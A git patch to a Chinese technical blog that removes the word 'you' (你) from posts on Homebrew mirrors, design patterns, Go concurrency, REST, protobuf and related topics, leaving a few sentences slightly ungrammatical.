From 611ab62238bc235866494ba58b4c3519c2feeb08 Mon Sep 17 00:00:00 2001 From: gongna <2036479155@qq.com> Date: Sat, 7 Oct 2023 18:37:59 +0800 Subject: [PATCH] feat: delete invilid word --- _posts/2020-02-1-test-markdown.md | 10 +- .../2020-02-26-flake-it-till-you-make-it.md | 26 +-- _posts/2020-02-28-test-markdown.md | 2 +- _posts/2020-06-15-test-markdown.md | 6 +- _posts/2022-02-15-test-markdown.md | 12 +- _posts/2022-02-19-test-markdown.md | 2 +- _posts/2022-03-14-test-markdown.md | 6 +- _posts/2022-04-17-test-markdown.md | 2 +- _posts/2022-04-20-test-markdown.md | 2 +- _posts/2022-04-25-test-markdown.md | 4 +- _posts/2022-05-20-test-markdown.md | 2 +- _posts/2022-06-15-test-markdown.md | 4 +- _posts/2022-07-08-test-markdown.md | 4 +- _posts/2022-07-12-test-markdown.md | 4 +- _posts/2022-07-13-test-markdown.md | 12 +- _posts/2022-07-14-test-markdown.md | 8 +- _posts/2022-07-16-test-markdown.md | 30 +-- _posts/2022-07-17-test-markdown.md | 26 +-- _posts/2022-07-18-test-markdown.md | 40 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+此命令将 export PATH=... 添加到的 ~/.zshrc 文件中，以确保 node@18 的二进制文件在的路径中优先被找到。 -另外，为了让编译器能找到 node@18，你可能需要设置以下环境变量： +另外，为了让编译器能找到 node@18，可能需要设置以下环境变量： ```shell @@ -37,7 +37,7 @@ export CPPFLAGS="-I/opt/homebrew/opt/node@18/include" ## 更换Homebrew的镜像源 -你可以通过以下步骤来更换Homebrew的镜像源： +可以通过以下步骤来更换Homebrew的镜像源： 1. **更换Homebrew的formula源**： ```shell @@ -49,7 +49,7 @@ git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/brew 1. **更换Homebrew的bottle源**： -在你的shell配置文件（比如`~/.bash_profile`或者`~/.zshrc`）中添加以下行： +在的shell配置文件（比如`~/.bash_profile`或者`~/.zshrc`）中添加以下行： ```shell export HOMEBREW_BOTTLE_DOMAIN=https://mirrors.tuna.tsinghua.edu.cn/homebrew-bottles @@ -67,7 +67,7 @@ cd "$(brew --repo)/Library/Taps/homebrew/homebrew-core" git remote set-url origin https://mirrors.tuna.tsinghua.edu.cn/git/homebrew/homebrew-core.git ``` -以上步骤将Homebrew的源更换为了清华大学的镜像站点，你可以根据需要更换为其他的镜像站点。 +以上步骤将Homebrew的源更换为了清华大学的镜像站点，可以根据需要更换为其他的镜像站点。 注意：如果在更换源之后遇到了问题，可以通过运行以上命令并将URL更换为官方源的URL来恢复到官方源。官方源的URL分别为： diff --git a/_posts/2020-02-26-flake-it-till-you-make-it.md b/_posts/2020-02-26-flake-it-till-you-make-it.md index 4c508918a96f..020078d8dceb 100644 --- a/_posts/2020-02-26-flake-it-till-you-make-it.md +++ b/_posts/2020-02-26-flake-it-till-you-make-it.md @@ -13,14 +13,14 @@ tags: [设计模式] ## 1.概念 -**中介者模式**是一种行为设计模式， 能让你减少对象之间混乱无序的依赖关系。 该模式会限制对象之间的直接交互， 迫使它们通过一个中介者对象进行合作。 +**中介者模式**是一种行为设计模式， 能让减少对象之间混乱无序的依赖关系。 该模式会限制对象之间的直接交互， 迫使它们通过一个中介者对象进行合作。 -假如你有一个创建和修改客户资料的对话框， 它由各种控件组成， 例如文本框 （Text­Field）、 复选框 （Checkbox） 和按钮 （Button） 等。![用户界面中各元素间的混乱关系](https://refactoringguru.cn/images/patterns/diagrams/mediator/problem1-zh.png) +假如有一个创建和修改客户资料的对话框， 它由各种控件组成， 例如文本框 （Text­Field）、 复选框 （Checkbox） 和按钮 （Button） 等。![用户界面中各元素间的混乱关系](https://refactoringguru.cn/images/patterns/diagrams/mediator/problem1-zh.png) - 元素间存在许多关联。 因此， 对某些元素进行修改可能会影响其他元素。 -- 如果直接在表单元素代码中实现业务逻辑， 你将很难在程序其他表单中复用这些元素类。 +- 如果直接在表单元素代码中实现业务逻辑， 将很难在程序其他表单中复用这些元素类。 ## 2.问题 @@ -38,9 +38,9 @@ tags: [设计模式] ## 3.解决方法 -> 中介者模式建议你停止组件之间的直接交流并使其相互独立。 这些组件必须调用特殊的中介者对象， 通过中介者对象重定向调用行为， 以间接的方式进行合作。 最终， 组件仅依赖于一个中介者类， 无需与多个其他组件相耦合。 +> 中介者模式建议停止组件之间的直接交流并使其相互独立。 这些组件必须调用特殊的中介者对象， 通过中介者对象重定向调用行为， 以间接的方式进行合作。 最终， 组件仅依赖于一个中介者类， 无需与多个其他组件相耦合。 -在资料编辑表单的例子中， 对话框 （Dialog） 类本身将作为中介者， 其很可能已知自己所有的子元素， 因此你甚至无需在该类中引入新的依赖关系。 +在资料编辑表单的例子中， 对话框 （Dialog） 类本身将作为中介者， 其很可能已知自己所有的子元素， 因此甚至无需在该类中引入新的依赖关系。 ![UI 元素必须通过中介者进行沟通。](https://refactoringguru.cn/images/patterns/diagrams/mediator/solution1-zh.png) @@ -58,7 +58,7 @@ tags: [设计模式] ![中介者设计模式的结构](https://refactoringguru.cn/images/patterns/diagrams/mediator/structure-indexed.png) -1. **组件** （Component） 是各种包含业务逻辑的类。 每个组件都有一个指向中介者的引用， 该引用被声明为中介者接口类型。 组件不知道中介者实际所属的类， 因此你可通过将其连接到不同的中介者以使其能在其他程序中复用。 +1. **组件** （Component） 是各种包含业务逻辑的类。 每个组件都有一个指向中介者的引用， 该引用被声明为中介者接口类型。 组件不知道中介者实际所属的类， 因此可通过将其连接到不同的中介者以使其能在其他程序中复用。 2. **中介者** （Mediator） 接口声明了与组件交流的方法， 但通常仅包括一个通知方法。 组件可将任意上下文 （包括自己的对象） 作为该方法的参数， 只有这样接收组件和发送者类之间才不会耦合。 3. **具体中介者** （Concrete Mediator） 封装了多种组件间的关系。 具体中介者通常会保存所有组件的引用并对其进行管理， 甚至有时会对其生命周期进行管理。 4. 组件并不知道其他组件的情况。 如果组件内发生了重要事件， 它只能通知中介者。 中介者收到通知后能轻易地确定发送者， 这或许已足以判断接下来需要触发的组件了。 @@ -66,7 +66,7 @@ tags: [设计模式] ## 6.伪代码 -**中介者**模式可帮助你减少各种 UI 类 （按钮、 复选框和文本标签） 之间的相互依赖关系。![中介者模式示例的结构](https://refactoringguru.cn/images/patterns/diagrams/mediator/example.png) +**中介者**模式可帮助减少各种 UI 类 （按钮、 复选框和文本标签） 之间的相互依赖关系。![中介者模式示例的结构](https://refactoringguru.cn/images/patterns/diagrams/mediator/example.png) 用户触发的元素不会直接与其他元素交流， 即使看上去它们应该这样做。 相反， 元素只需让中介者知晓事件即可， 并能在发出通知时同时传递任何上下文信息。 @@ -134,23 +134,23 @@ class Checkbox extends Component is - 当一些对象和其他对象紧密耦合以致难以对其进行修改时， 可使用中介者模式。 - 该模式让你将对象间的所有关系抽取成为一个单独的类， 以使对于特定组件的修改工作独立于其他组件。 + 该模式让将对象间的所有关系抽取成为一个单独的类， 以使对于特定组件的修改工作独立于其他组件。 - 当组件因过于依赖其他组件而无法在不同应用中复用时，可使用中介者模式 - 应用中介者模式后， 每个组件不再知晓其他组件的情况。 尽管这些组件无法直接交流， 但它们仍可通过中介者对象进行间接交流。 如果你希望在不同应用中复用一个组件， 则需要为其提供一个新的中介者类。 + 应用中介者模式后， 每个组件不再知晓其他组件的情况。 尽管这些组件无法直接交流， 但它们仍可通过中介者对象进行间接交流。 如果希望在不同应用中复用一个组件， 则需要为其提供一个新的中介者类。 -- 如果为了能在不同情景下复用一些基本行为，导致你需要被迫创建大量组件子类时，可使用中介者模式。 +- 如果为了能在不同情景下复用一些基本行为，导致需要被迫创建大量组件子类时，可使用中介者模式。 -- 由于所有组件间关系都被包含在中介者中， 因此你无需修改组件就能方便地新建中介者类以定义新的组件合作方式。 +- 由于所有组件间关系都被包含在中介者中， 因此无需修改组件就能方便地新建中介者类以定义新的组件合作方式。 ## 7.实现 1. 找到一组当前紧密耦合， 且提供其独立性能带来更大好处的类 （例如更易于维护或更方便复用）。 2. 声明中介者接口并描述中介者和各种组件之间所需的交流接口。 在绝大多数情况下， 一个接收组件通知的方法就足够了。 -3. 如果你希望在不同情景下复用组件类， 那么该接口将非常重要。 只要组件使用通用接口与其中介者合作， 你就能将该组件与不同实现中的中介者进行连接。 +3. 如果希望在不同情景下复用组件类， 那么该接口将非常重要。 只要组件使用通用接口与其中介者合作， 就能将该组件与不同实现中的中介者进行连接。 4. 实现具体中介者类。 该类可从自行保存其下所有组件的引用中受益。 -5. 你可以更进一步， 让中介者负责组件对象的创建和销毁。 此后， 中介者可能会与工厂或外观模式类似。 +5. 可以更进一步， 让中介者负责组件对象的创建和销毁。 此后， 中介者可能会与工厂或外观模式类似。 6. 组件必须保存对于中介者对象的引用。 该连接通常在组件的构造函数中建立， 该函数会将中介者对象作为参数传递。 7. 修改组件代码， 使其可调用中介者的通知方法， 而非**其他组件**的方法。 然后将调用其他组件的代码抽取到中介者类中， 并在**中介者**接收到该组件通知时**执行**这些**代码**。（中介者执行调用其他组件代码的逻辑） diff --git a/_posts/2020-02-28-test-markdown.md b/_posts/2020-02-28-test-markdown.md index c945d3763605..0eaaaec97a6f 100644 --- a/_posts/2020-02-28-test-markdown.md +++ b/_posts/2020-02-28-test-markdown.md @@ -50,7 +50,7 @@ func GetInstance() *singleton { 实际上，这解决了线程安全问题，但会产生其他潜在的严重问题。我们通过`Sync.Mutex`在创建单例实例之前引入并获取锁来解决线程安全问题。问题是在这里我们执行了过多的锁定，即使我们不需要这样做，**如果实例已经创建并且我们应该简单地返回缓存的单例实例。** 高度并发的代码库上，这可能会产生瓶颈，因为一次只有一个 go 例程可以获取单例实例。 -- **当某个函数，执行的功能，第一次创建一个单例，之后要做的仅仅是返回这个单例时，如果你为单例的第一次创建加了锁，这么做是为了保证，第一次全局我们只能获取到一个单例，但是，之后的每一次调用，我们的函数要做的仅仅是返回这个单例，而加锁，导致的后果是每次只有一个进程可以获取到已经存在的单例，如果这种获取是百万并发级别的，那么后果是不堪设想的。** +- **当某个函数，执行的功能，第一次创建一个单例，之后要做的仅仅是返回这个单例时，如果为单例的第一次创建加了锁，这么做是为了保证，第一次全局我们只能获取到一个单例，但是，之后的每一次调用，我们的函数要做的仅仅是返回这个单例，而加锁，导致的后果是每次只有一个进程可以获取到已经存在的单例，如果这种获取是百万并发级别的，那么后果是不堪设想的。** ## 3.Check-Lock-Check Pattern diff --git a/_posts/2020-06-15-test-markdown.md b/_posts/2020-06-15-test-markdown.md index f8b097308cb5..5dfcd7a43e72 100644 --- a/_posts/2020-06-15-test-markdown.md +++ b/_posts/2020-06-15-test-markdown.md @@ -44,9 +44,9 @@ Output: 在这里变量a被拷贝后，地址发生了变化，地址上存储的是原先地址存储的值 10 变量p被拷贝后，地址发生了变化，地址上存储的还是原先地址存储的值 ）0X001, 然后按照这个地址去查找，找到的是 0X001 上面存储的值 -所以，当你去修改拷贝后的*p的值，其实修改的还是0X001地址上的值，而不是 拷贝后a的值 +所以，当去修改拷贝后的*p的值，其实修改的还是0X001地址上的值，而不是 拷贝后a的值 -> 怎么理解呢？就是对于切片的底层数据而言，其中三个 要素。类型，容量，指针，指针是用来干嘛的，就是指向数组啊，所以说，不论你怎么拷贝切片，切片的指针都是指向原来的数组，当你修改切片的值时，你其实是在修改数组的值！！！！ +> 怎么理解呢？就是对于切片的底层数据而言，其中三个 要素。类型，容量，指针，指针是用来干嘛的，就是指向数组啊，所以说，不论怎么拷贝切片，切片的指针都是指向原来的数组，当修改切片的值时，其实是在修改数组的值！！！！ **slice在实现的时候，其实是对array的映射，也就是说slice存对应的是原array的地址，就类似于p与a的关系，那么整个slice拷贝后，拷贝后的slice中存储的还是array的地址，去修改拷贝后的slice，其实跟修改slice，和原array是一样的** @@ -58,7 +58,7 @@ Output: #### 总结： -> go 值的拷贝都是值拷贝，只是切片中储存的是原数组的地址，“切片是对数组的引用” 每得到的一个切片都是一个指向数组的指针，当你企图修改切片的值，就是在修改数组的值。内在的逻辑是：一个切片就是你一个指向数组的指针，你通过切片去修改数组，然后在引用数组，自始至终，你都是在引用数组，不存在你切片里面存了你所引用的数组的数据！！！ +> go 值的拷贝都是值拷贝，只是切片中储存的是原数组的地址，“切片是对数组的引用” 每得到的一个切片都是一个指向数组的指针，当企图修改切片的值，就是在修改数组的值。内在的逻辑是：一个切片就是一个指向数组的指针，通过切片去修改数组，然后在引用数组，自始至终，都是在引用数组，不存在切片里面存了所引用的数组的数据！！！ ![img](https://segmentfault.com/img/remote/1460000020086649?w=896&h=498) diff --git a/_posts/2022-02-15-test-markdown.md b/_posts/2022-02-15-test-markdown.md index c36391d40c6d..0b158c6a28e1 100644 --- a/_posts/2022-02-15-test-markdown.md +++ b/_posts/2022-02-15-test-markdown.md @@ -16,11 +16,11 @@ REST API 也称为 RESTful API，是遵循 REST 架构规范的应用编程接 > > API 由一组定义和协议组合而成，可用于构建和集成应用软件。有时我们可以把它们当做信息提供者和信息用户之间的合同——建立消费者（呼叫）所需的内容和制作者（响应）要求的内容。例如，天气服务的 API 可指定用户提供邮编，制作者回复的答案由两部分组成，第一部分是最高温度，第二部分是最低温度。 > -> 换言之，如果你想与计算机或系统交互以检索信息或执行某项功能，API 可帮助你将你需要的信息传达给该系统，使其能够理解并满足你的请求。 +> 换言之，如果想与计算机或系统交互以检索信息或执行某项功能，API 可帮助将需要的信息传达给该系统，使其能够理解并满足的请求。 > > 可以把 API 看做是用户或客户端与他们想要的资源或 Web 服务之间的传递者。它也是企业在共享资源和信息的同时保障安全、控制和身份验证的一种方式，即确定哪些人可以访问什么内容。 > -> API 的另一个优势是你无需了解缓存的具体信息，即如何检索资源或资源来自哪里。 +> API 的另一个优势是无需了解缓存的具体信息，即如何检索资源或资源来自哪里。 > #### 如何理解 REST 的含义？ > @@ -38,7 +38,7 @@ API 要被视为 RESTful API，必须遵循以下标准： - **[无状态](https://www.redhat.com/zh/topics/cloud-native-apps/stateful-vs-stateless)客户端-服务器通信，即 get 请求间隔期间，不会存储任何客户端信息，并且每个请求都是独立的，互不关联。**客户端到服务端的所有请求必须包含了所有信息，不能够利用任何服务器存储的上下文。 这一约束可以保证绘画状态完全由客户端控制 - 这一点在你写一个接口的时候需要独立思考一下，如果每个请求都是独立的，互不关联的，那么他们怎么配合着实现一整套的功能， + 这一点在写一个接口的时候需要独立思考一下，如果每个请求都是独立的，互不关联的，那么他们怎么配合着实现一整套的功能， - **可缓存性数据**：可简化客户端-服务器交互。 @@ -70,13 +70,13 @@ API 要被视为 RESTful API，必须遵循以下标准： ## REST vs HTTP -从上面的概念我们就可以知道，REST和任何具体技术无关。 我们会认为REST就是HTTP，主要是因为HTTP是最广为流行的客户端服务端通信协议。 但是HTTP本身和REST无关，你可以通过其他协议构建RESTful服务； 你用HTTP构建的服务也很有可能不是RESTful的。 +从上面的概念我们就可以知道，REST和任何具体技术无关。 我们会认为REST就是HTTP，主要是因为HTTP是最广为流行的客户端服务端通信协议。 但是HTTP本身和REST无关，可以通过其他协议构建RESTful服务； 用HTTP构建的服务也很有可能不是RESTful的。 ## REST vs JSON -与通信协议一样，REST与任何具体的数据格式无关。 无论你用XML，JSON或是HTML，都可以构建REST服务。 +与通信协议一样，REST与任何具体的数据格式无关。 无论用XML，JSON或是HTML，都可以构建REST服务。 更进一步的，JSON甚至不是一种超媒体格式，只是一种数据格式。 比如JSON并没有定义超链接发现的行为。 真正的REST需要的是有着清楚规范的超媒体格式，比较标准的JSON-base超媒体格式有 [JSON-LD](http://www.w3.org/TR/json-ld/) 和 [HAL](http://stateless.co/hal_specification.html) @@ -260,7 +260,7 @@ Web 存在支持的关键元素是安全（例如 GET）和非安全操作之间 ## 3 级 - 超媒体控制 -最后一层介绍了一些你经常听到的东西，它被称为 HATEOAS（超文本作为应用程序状态的引擎）它解决了如何从列表中获取空缺职位以了解如何进行预约的问题。 +最后一层介绍了一些经常听到的东西，它被称为 HATEOAS（超文本作为应用程序状态的引擎）它解决了如何从列表中获取空缺职位以了解如何进行预约的问题。 ![img](https://martinfowler.com/articles/images/richardsonMaturityModel/level3.png) diff --git a/_posts/2022-02-19-test-markdown.md b/_posts/2022-02-19-test-markdown.md index f13edaee8b56..29fb1f8560e8 100644 --- a/_posts/2022-02-19-test-markdown.md +++ b/_posts/2022-02-19-test-markdown.md @@ -29,4 +29,4 @@ Model提供数据，View负责显示，Controller/Presenter负责逻辑的处理 MVVM 模式将 Presenter 改名为 ViewModel，基本上与 MVP 模式完全一致.唯一的区别是，它采用双向绑定（data-binding）：View的变动，自动反映在 ViewModel，反之亦然; -这种模式跟经典的MVP（Model-View-Presenter）模式很相似，除了你需要一个为View量身定制的model，这个model就是ViewModel.ViewModel包含所有由UI特定的接口和属性，并由一个 ViewModel 的视图的绑定属性，并可获得二者之间的松散耦合，所以需要在ViewModel 直接更新视图中编写相应代码.数据绑定系统还支持提供了标准化的方式传输到视图的验证错误的输入的验证. \ No newline at end of file +这种模式跟经典的MVP（Model-View-Presenter）模式很相似，除了需要一个为View量身定制的model，这个model就是ViewModel.ViewModel包含所有由UI特定的接口和属性，并由一个 ViewModel 的视图的绑定属性，并可获得二者之间的松散耦合，所以需要在ViewModel 直接更新视图中编写相应代码.数据绑定系统还支持提供了标准化的方式传输到视图的验证错误的输入的验证. \ No newline at end of file diff --git a/_posts/2022-03-14-test-markdown.md b/_posts/2022-03-14-test-markdown.md index cec00d6a642c..c987d1f60a80 100644 --- a/_posts/2022-03-14-test-markdown.md +++ b/_posts/2022-03-14-test-markdown.md @@ -1,7 +1,7 @@ --- layout: post title: Goroutines以及通道在 Golang 中的应用 -subtitle: Go 使用通道在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此，您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是，你必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 +subtitle: Go 使用通道在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此，您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是，必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 tags: [golang] --- # Goroutines以及通道在 Golang 中的应用 @@ -10,7 +10,7 @@ tags: [golang] > 共享数据 > -> Go 使用**通道**在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此，您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是，你必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 +> Go 使用**通道**在 goroutine 之间共享数据。它就像一个发送和接收数据的管道。通道是并发安全的。因此，您不需要处理锁定。线程使用共享内存。这是与流程最重要的区别。但是，必须使用互斥锁、信号量等来避免与 goroutines 相反的任何问题。 ## Example 1 @@ -935,7 +935,7 @@ Time waste 272.353µs ##### Qustion --Rate limit -每当调用 Web 服务的某个特定 API 时，它都会在内部对某个外部服务进行多个并发调用。衍生出多个 goroutine 来服务这个请求。外部服务可以是任何东西（可能是 AWS 服务）。如果您的服务在很短的时间内（在 API 的单次调用中）向外部服务发送了太多请求，则外部服务可能会限制（速率限制）你的服务！ +每当调用 Web 服务的某个特定 API 时，它都会在内部对某个外部服务进行多个并发调用。衍生出多个 goroutine 来服务这个请求。外部服务可以是任何东西（可能是 AWS 服务）。如果您的服务在很短的时间内（在 API 的单次调用中）向外部服务发送了太多请求，则外部服务可能会限制（速率限制）的服务！ 注意：我们在这里使用并发是因为我们希望尽可能降低 API 的延迟。如果没有并发，我们将不得不迭代地调用外部服务。 diff --git a/_posts/2022-04-17-test-markdown.md b/_posts/2022-04-17-test-markdown.md index 0ac45a449672..f5424e0acf4a 100644 --- a/_posts/2022-04-17-test-markdown.md +++ b/_posts/2022-04-17-test-markdown.md @@ -30,7 +30,7 @@ func CopyFile(dstName, srcName string) (written int64, err error) { return } //这有效，但有一个错误。如果对 os.Create 的调用失败，该函数将返回而不关闭源文件,但是可以通过在第二个return语句之前调用src.Close 来解决，但是如果函数更加的复杂，那么这个问题将不会轻易的被注意到，更加优雅的做法是，打开文件之后，我们在第一个return语句之后，（因为一旦返回，证明打开失败，就不需要关闭文件了）执行defer src.Close()来延迟关闭文件，它将会在第二个os.Create()语句失败之后，第二个语句return 语句返回之后执行关闭。 -//这也验证了那句话：一个defer语句推动一个函数调用的列表,保存的函数调用的列表，会在（周围）函数返回之后执行！！！这个周围二字你要慢慢体会，很精辟！！ +//这也验证了那句话：一个defer语句推动一个函数调用的列表,保存的函数调用的列表，会在（周围）函数返回之后执行！！！这个周围二字要慢慢体会，很精辟！！ func CopyFile(dstName, srcName string) (written int64, err error) { src, err := os.Open(srcName) diff --git a/_posts/2022-04-20-test-markdown.md b/_posts/2022-04-20-test-markdown.md index c11fb098341d..82f79954d40d 100644 --- a/_posts/2022-04-20-test-markdown.md +++ b/_posts/2022-04-20-test-markdown.md @@ -180,7 +180,7 @@ TLS 终止也是所有三个都可用的功能，它们都可以是面向互联 #### 经典负载均衡器 -此负载均衡器通常缩写为 ELB，即 Elastic Load Balancer，因为这是它在 2009 年首次推出时的名称，并且是唯一可用的负载均衡器类型。如果这让你更容易理解，它可以被认为是一个 Nginx 或 HAProxy 实例。 +此负载均衡器通常缩写为 ELB，即 Elastic Load Balancer，因为这是它在 2009 年首次推出时的名称，并且是唯一可用的负载均衡器类型。如果这让更容易理解，它可以被认为是一个 Nginx 或 HAProxy 实例。 ELB 在第 4 层 (TCP) 和第 7 层 (HTTP) 上都工作，并且是唯一可以在 EC2-Classic 中工作的负载均衡器，以防您有一个非常旧的 AWS 账户。此外，它是唯一支持应用程序定义的粘性会话 cookie 的负载均衡器；相反，ALB 使用自己的 cookie，您无法控制它。 diff --git a/_posts/2022-04-25-test-markdown.md b/_posts/2022-04-25-test-markdown.md index a0730f1d2d70..73966618cb9c 100644 --- a/_posts/2022-04-25-test-markdown.md +++ b/_posts/2022-04-25-test-markdown.md @@ -29,7 +29,7 @@ tags: [golang] - 每个阶段都变得易于测试 - 更不必说通过使用并发来利用这个的巨大的好处 -想象一下，你有机会在一家食品和 CPG 配送公司担任软件工程师，在那里你是一个团队的一员，负责构建软件，将**零售商的产品可用性集成到主公司的应用程序中**。运行该集成后，用户能够以更少的缺货风险购买产品。 +想象一下，有机会在一家食品和 CPG 配送公司担任软件工程师，在那里是一个团队的一员，负责构建软件，将**零售商的产品可用性集成到主公司的应用程序中**。运行该集成后，用户能够以更少的缺货风险购买产品。 - 为了完成这个功能，怎么 GoLang 中构建了这个“可用性引擎”呢？ @@ -52,7 +52,7 @@ tags: [golang] 批量处理架构示例 - 管道的第一阶段接收一组 CSV 行，将它们全部处理，然后将结果放入新批次（新的地图切片）中。 -- 相同的过程重复它的次数与管道实际具有的阶段数一样多，这种模式的特殊性在于，如果管道中的上一步尚未完成对整组行的处理，则下一个阶段都无法开始。如你所见，它在概念上是一个批处理管道。 +- 相同的过程重复它的次数与管道实际具有的阶段数一样多，这种模式的特殊性在于，如果管道中的上一步尚未完成对整组行的处理，则下一个阶段都无法开始。如所见，它在概念上是一个批处理管道。 - 为了加快和优化工作，我们开始在 CSV 文件级别使用并发，因此我们能够同时处理文件。这种方法非常适合我们，但没有我们常说的灵丹妙药…… - 我偶然发现了一种奇妙的模式，即通过**使用通道来利用管道！！！！！！！！！！** diff --git a/_posts/2022-05-20-test-markdown.md b/_posts/2022-05-20-test-markdown.md index 7aa620c68c52..01ced95d785a 100644 --- a/_posts/2022-05-20-test-markdown.md +++ b/_posts/2022-05-20-test-markdown.md @@ -70,7 +70,7 @@ tags: [架构] 如果是32 * 32 * 32 (32个集群，32个库，32个表=32768个表)。 - 方法3：单表容量达到瓶颈（或者1024已经无法满足你） + 方法3：单表容量达到瓶颈（或者1024已经无法满足） 分库规则不变，单库里的表再进行裂变，当然，在目前订单这种规则下（用userId后四位 mod）还是有极限。 diff --git a/_posts/2022-06-15-test-markdown.md b/_posts/2022-06-15-test-markdown.md index 585df467dd7e..cf0a10e93dd5 100644 --- a/_posts/2022-06-15-test-markdown.md +++ b/_posts/2022-06-15-test-markdown.md @@ -28,7 +28,7 @@ https://github.com/gongna-au/dubbo-go-pixiu.git git clone https://github.com/gongna-au/dubbo-go-pixiu.git ``` -> 不是你`要`fork的仓库，而是你fork到自己账户的仓库 +> 不是`要`fork的仓库，而是fork到自己账户的仓库 ### 3.切一个新的开发分支 @@ -98,7 +98,7 @@ upstream https://github.com/apache/dubbo-go-pixiu.git (push) ### 7.从上游仓库获取最新的代码 -确定好你修改好的代码是想要合并到上游仓库的哪个分支（一般开源仓库都是有很多的分支， 但你需要合并的往往只是特定的一个分支） +确定好修改好的代码是想要合并到上游仓库的哪个分支（一般开源仓库都是有很多的分支， 但需要合并的往往只是特定的一个分支） 这里选择我要合并的上游分支develop diff --git a/_posts/2022-07-08-test-markdown.md b/_posts/2022-07-08-test-markdown.md index e9d27ba71110..75a5a62adfa2 100644 --- a/_posts/2022-07-08-test-markdown.md +++ b/_posts/2022-07-08-test-markdown.md @@ -14,7 +14,7 @@ service a调用 service b ，如果对service b 的调用失败，我们通常 retry 称为重试逻辑，开发人员通常在他们的代码库中有重试逻辑来处理这些类型的失败场景，这个逻辑可能在不同类型的 服务和不同的编程语言。 -你在放弃之前重试了多少次，太多的重试逻辑在服务 a 和 b 之间造成的弊大于利怎么办？并且服务 b 必须具有关于 +在放弃之前重试了多少次，太多的重试逻辑在服务 a 和 b 之间造成的弊大于利怎么办？并且服务 b 必须具有关于 如何处理身份验证的逻辑，所以代码库现在会增长并变得更加复杂 。我们可能还希望微服务之间的相互 tls 或 ssl 连接。我们可能不希望服务通过端口 80 进行通信，而是通过端口 443 安全地进行通信。这意味着： - 必须为每个服务颁发证书 @@ -61,7 +61,7 @@ service mesh的工作原理是它谨慎地将 proxy作为 sidecar 注入到每 我有 一个 kubernetes 文件夹，有一个带有自述文件的service mesh文件夹 -along in the service 我们将看一下 linkid 和 istio 。 现在的服务度量涵盖了我之前提到的各种功能，但是service mesh 的好处在于它不是你在cluster 集群中打开的东西。而是我建议 +along in the service 我们将看一下 linkid 和 istio 。 现在的服务度量涵盖了我之前提到的各种功能，但是service mesh 的好处在于它不是在cluster 集群中打开的东西。而是我建议 - installing a service mesh 安装服务网格 diff --git a/_posts/2022-07-12-test-markdown.md b/_posts/2022-07-12-test-markdown.md index ed397b1728c3..5904841d2d39 100644 --- a/_posts/2022-07-12-test-markdown.md +++ b/_posts/2022-07-12-test-markdown.md @@ -256,7 +256,7 @@ func runServer(tracer opentracing.Tracer) { ## 5. 运行 -我假设你有一个 Go 1.7 的本地安装，以及一个正在运行的 Docker，我们将使用它来运行 Zipkin 服务器。 +我假设有一个 Go 1.7 的本地安装，以及一个正在运行的 Docker，我们将使用它来运行 Zipkin 服务器。 演示项目使用[glide](https://github.com/Masterminds/glide)进行依赖管理，请先安装。例如，在 Mac OS 上，您可以执行以下操作： @@ -288,7 +288,7 @@ Status: Downloaded newer image for openzipkin/zipkin:1.12.0 da9353ac890e0c0b492ff4f52ff13a0dd12826a0b861a67cb044f5764195e005 ``` -如果你没有 Docker，另一种运行 Zipkin 服务器的方法是直接从 jar 中： +如果没有 Docker，另一种运行 Zipkin 服务器的方法是直接从 jar 中： ``` $ wget -O zipkin.jar 'https://search.maven.org/remote_content?g=io.zipkin.java&a=zipkin-server&v=LATEST&c=exec' diff --git a/_posts/2022-07-13-test-markdown.md b/_posts/2022-07-13-test-markdown.md index f6e7f2c6908c..078d153fa7fa 100644 --- a/_posts/2022-07-13-test-markdown.md +++ b/_posts/2022-07-13-test-markdown.md @@ -68,7 +68,7 @@ message HelloReply { ### 基本数据类型 -在生成了对应语言的 proto 文件后，需要注意的是 protobuf 所生成出来的数据类型并非与原始的类型完全一致，因此你需要有一个基本的了解，下面是我列举了的一些常见的类型映射，如下表： +在生成了对应语言的 proto 文件后，需要注意的是 protobuf 所生成出来的数据类型并非与原始的类型完全一致，因此需要有一个基本的了解，下面是我列举了的一些常见的类型映射，如下表： | .proto Type | C++ Type | Java Type | Go Type | PHP Type | | ----------- | -------- | ---------- | ------- | -------------- | @@ -233,7 +233,7 @@ var fileDescriptor_4d53fe9c48eadaad = []byte{ } ``` -`fileDescriptor_4d53fe9c48eadaad` 表示的是一个经过编译后的 proto 文件，是对 proto 文件的整体描述，其包含了 proto 文件名、引用（import）内容、包（package）名、选项设置、所有定义的消息体（message）、所有定义的枚举（enum）、所有定义的服务（ service）、所有定义的方法（rpc method）等等内容，可以认为就是整个 proto 文件的信息你都能够取到。 +`fileDescriptor_4d53fe9c48eadaad` 表示的是一个经过编译后的 proto 文件，是对 proto 文件的整体描述，其包含了 proto 文件名、引用（import）内容、包（package）名、选项设置、所有定义的消息体（message）、所有定义的枚举（enum）、所有定义的服务（ service）、所有定义的方法（rpc method）等等内容，可以认为就是整个 proto 文件的信息都能够取到。 同时在我们的每一个 Message Type 中都包含了 Descriptor 方法，Descriptor 代指对一个消息体（message）定义的描述，而这一个方法则会在 fileDescriptor 中寻找属于自己 Message Field 所在的位置再进行返回，如下： @@ -326,7 +326,7 @@ message HelloRequest { ### Oneof -如果你希望你的消息体可以包含多个字段，但前提条件是最多同时只允许设置一个字段，那么就可以使用 oneof 关键字来实现这个功能，如下： +如果希望的消息体可以包含多个字段，但前提条件是最多同时只允许设置一个字段，那么就可以使用 oneof 关键字来实现这个功能，如下： ``` message HelloRequest { @@ -388,7 +388,7 @@ func init() { } ``` -我们下述的调用方法都是在 `server` 目录下的 server.go 和 `client` 目录的 client.go 中完成，需要注意的该两个文件的 package 名称应该为 main（IDE 默认会创建与目录名一致的 package 名称），这样子你的 main 方法才能够被调用，并且在**本章中我们的 proto 引用都会以引用别名 pb 来进行调用**。 +我们下述的调用方法都是在 `server` 目录下的 server.go 和 `client` 目录的 client.go 中完成，需要注意的该两个文件的 package 名称应该为 main（IDE 